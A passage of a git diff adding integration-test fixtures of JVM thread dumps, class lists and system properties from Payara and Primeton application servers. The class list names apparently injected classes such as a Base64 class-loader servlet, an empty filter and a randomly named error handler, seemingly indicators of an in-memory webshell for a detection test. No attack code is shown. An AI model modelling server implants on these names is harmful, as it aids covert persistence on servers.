java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-6" #23 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-11" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Logging output pump" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658c6f36 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:151) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:129) + +"fileinstall-/usr/local/payara6/glassfish/domains/domain1/autodeploy/" #152 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:293) + +"hz.dazzling_hawking.partition-operation.thread-3" #46 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"FileSystemWatchService" #153 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@11.0.25/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:316) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-10" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"RMI TCP Connection(2)-192.168.215.4" #166 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.25/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.25/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.25/java.net.SocketInputStream.read(SocketInputStream.java:140) + at java.base@11.0.25/sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:484) + at java.base@11.0.25/sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:478) + at java.base@11.0.25/sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at java.base@11.0.25/sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1459) + at java.base@11.0.25/sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:1070) + at java.base@11.0.25/java.io.BufferedInputStream.fill(BufferedInputStream.java:252) + at java.base@11.0.25/java.io.BufferedInputStream.read(BufferedInputStream.java:271) + at java.base@11.0.25/java.io.FilterInputStream.read(FilterInputStream.java:83) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:544) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1876/0x0000000100e23c40.run(Unknown Source) + at java.base@11.0.25/java.security.AccessController.doPrivileged(Native Method) + at java.rmi@11.0.25/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@11.0.25/java.lang.ref.Reference.processPendingReferences(Reference.java:241) + at java.base@11.0.25/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:213) + +"hz.dazzling_hawking.migration" #68 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3530041f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at com.hazelcast.internal.partition.impl.MigrationQueue.poll(MigrationQueue.java:48) + at com.hazelcast.internal.partition.impl.MigrationThread.doRun(MigrationThread.java:91) + at com.hazelcast.internal.partition.impl.MigrationThread.run(MigrationThread.java:66) + +"hk2-asyncrunlevelcontext" #29 daemon [WAITING] on java.util.TaskQueue@715d21c4 + java.lang.Thread.State: WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.Object.wait(Object.java:328) + at java.base@11.0.25/java.util.TimerThread.mainLoop(Timer.java:527) + at java.base@11.0.25/java.util.TimerThread.run(Timer.java:506) + +"http-thread-pool::http-listener-2(1)" #98 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@39b13195 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"RMI Scheduler(0)" #164 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@509287e3 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Logging output pump" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@16bce9ce + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:151) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:129) + +"GF Domain XML" #112 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@69fd2980 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.partition-operation.thread-10" #53 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-thread-pool::http-listener-2(2)" #99 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@39b13195 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"http-thread-pool::http-listener-2(4)" #101 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@39b13195 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-9" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + + +=========================================== + +StackClassNames: +com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread +com.hazelcast.internal.networking.nio.NioThread +com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread +com.hazelcast.internal.partition.impl.MigrationQueue +com.hazelcast.internal.partition.impl.MigrationThread +com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread +com.hazelcast.internal.util.concurrent.MPSCQueue +com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker +com.hazelcast.internal.util.executor.HazelcastManagedThread +com.hazelcast.internal.util.executor.StripedExecutor$Worker +com.hazelcast.internal.util.phonehome.CloudInfoCollector +com.hazelcast.internal.util.phonehome.MetricsCollector +com.hazelcast.internal.util.phonehome.PhoneHome +com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda$1442/0x000000010085f040 +com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator +com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl +com.hazelcast.spi.impl.operationexecutor.impl.OperationThread +com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread +com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask +com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread +com.hazelcast.sql.impl.state.QueryStateRegistryUpdater$Worker +fish.payara.nucleus.notification.NotifierHandler +fish.payara.nucleus.notification.NotifierHandler$$Lambda$1585/0x0000000100a08040 +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.commons.DYhqx.ErrorHandler +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/Primeton65ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Primeton65ContainerTestBasicInfo.txt new file mode 100644 index 00000000..53d5858b --- /dev/null +++ b/integration-test/src/test/resources/infos/Primeton65ContainerTestBasicInfo.txt @@ -0,0 +1,1545 @@ +# Generated At 2025-08-10 14:59:51 +SystemProps: +com.sun.aas.imqBin: /opt/pas/mq/bin +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +catalina.base: /opt/pas/pas/domains/domain1 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +com.sun.enterprise.jaccprovider.property.repository: /opt/pas/pas/domains/domain1/generated/policy +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /opt/pas/pas/domains/domain1/config/logging.properties +sun.boot.class.path: /opt/pas/pas/modules/endorsed/grizzly-npn-bootstrap.jar:/opt/pas/pas/modules/endorsed/jakarta.annotation-api.jar:/opt/pas/pas/modules/endorsed/jakarta.xml.bind-api.jar:/opt/pas/pas/modules/endorsed/webservices-api-osgi.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.primeton.appserver.enterprise.security.provider.PolicyConfigurationFactoryImpl +Primeton_AppServer_Platform: Felix +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.maxconn: 1 +java.runtime.version: 1.8.0_312-b07 +javax.net.ssl.keyStore: /opt/pas/pas/domains/domain1/config/keystore.jks +user.name: root +pas.version: Primeton AppServer 6.5.0 (build 1665) +osgi.shell.telnet.ip: 127.0.0.1 +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +com.sun.aas.agentRoot: /opt/pas/pas/nodes +user.language: en +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +com.sun.aas.javaRoot: /usr/local/openjdk-8/jre +AS_IMQ_LIB: /opt/pas/pas/config/../../mq/lib +java.version: 1.8.0_312 +com.sun.aas.instanceRootURI: file:/opt/pas/pas/domains/domain1/ +user.timezone: Etc/UTC +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +java.endorsed.dirs: /opt/pas/pas/modules/endorsed:/opt/pas/pas/lib/endorsed +java.rmi.server.randomIDs: true +com.sun.aas.installRoot: /opt/pas/pas +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +com.sun.enterprise.J2EEServerId: 100 +java.class.version: 52.0 +java.home: /usr/local/openjdk-8/jre +# AS_JAVA: /opt/pas/pas/config +felix.fileinstall.dir: /opt/pas/pas/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.productRoot: /opt/pas +sun.font.fontmanager: sun.awt.X11FontManager +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +com.sun.aas.installRootURI: file:/opt/pas/pas/ +path.separator: : +java.vm.version: 25.312-b07 +AS_CONFIG: /opt/pas/pas/config/../config +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +AS_IMQ_BIN: /opt/pas/pas/config/../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /opt/pas/pas/domains/domain1/config/server.policy +jdk.tls.rejectClientInitiatedRenegotiation: true +sun.io.unicode.encoding: UnicodeLittle +com.sun.aas.hostName: 5f9135707680 +awt.toolkit: sun.awt.X11.XToolkit +AS_INSTALL: /opt/pas/pas/config/.. +felix.fileinstall.disableConfigSave: false +user.home: /root +com.sun.aas.instanceName: server +com.sun.aas.derbyRoot: /opt/pas/javadb +com.sun.aas.configRoot: /opt/pas/pas/config +java.specification.vendor: Oracle Corporation +AS_DERBY_INSTALL: /opt/pas/pas/config/../../javadb +java.library.path: /opt/pas/pas/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.vendor: Oracle Corporation +jdk.corba.allowOutputStreamSubclass: true +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.primeton.appserver.enterprise.pas.bootstrap.ASMain -upgrade false -domaindir /opt/pas/pas/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,6888,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=false,,,--watchdog=false,,,--debug=true,,,--domaindir,,,/opt/pas/pas/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose false -asadmin-classpath /opt/pas/pas/lib/client/appserver-cli.jar -debug true -asadmin-classname com.primeton.appserver.enterprise.admin.cli.AdminMain +java.class.path: /opt/pas/pas/modules/appserver.jar:/opt/pas/pas/lib/monitor/flashlight-agent.jar +java.vm.specification.name: Java Virtual Machine Specification +KickoutSameManagerUser: true +catalina.home: /opt/pas/pas/domains/domain1 +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +com.sun.aas.imqLib: /opt/pas/mq/lib +AS_DEF_DOMAINS_PATH: /opt/pas/pas/config/../domains +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +com.sun.aas.domainsRoot: /opt/pas/pas/domains +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/local/openjdk-8/jre/jre/lib/ext:/opt/pas/pas/domains/domain1/lib/ext +felix.fileinstall.bundles.startTransient: true +user.dir: /opt/pas/pas/domains/domain1/config +com.sun.aas.instanceRoot: /opt/pas/pas/domains/domain1 +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +java.security.auth.login.config: /opt/pas/pas/domains/domain1/config/login.conf +com.ctc.wstx.returnNullForDefaultNamespace: true +javax.management.builder.initial: com.primeton.appserver.enterprise.v3.admin.AppServerMBeanServerBuilder +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +javax.xml.accessExternalSchema: all +ANTLR_USE_DIRECT_CLASS_LOADING: true +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +felix.fileinstall.bundles.new.start: true +java.specification.version: 1.8 +javax.net.ssl.trustStore: /opt/pas/pas/domains/domain1/config/cacerts.jks +JMS_PROVIDER_PORT: 7676 +osgi.shell.telnet.port: 6666 + +=========================================== + +ThreadStacks: +"pool-23-thread-1" #143 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@644df5c9 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-21-thread-1" #139 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-29" #109 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.fs.LinuxWatchService.poll(Native Method) + at sun.nio.fs.LinuxWatchService.access$600(LinuxWatchService.java:47) + at sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:314) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1-expirer(1)" #60 daemon [TIMED_WAITING] on java.lang.Object@1289681b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at 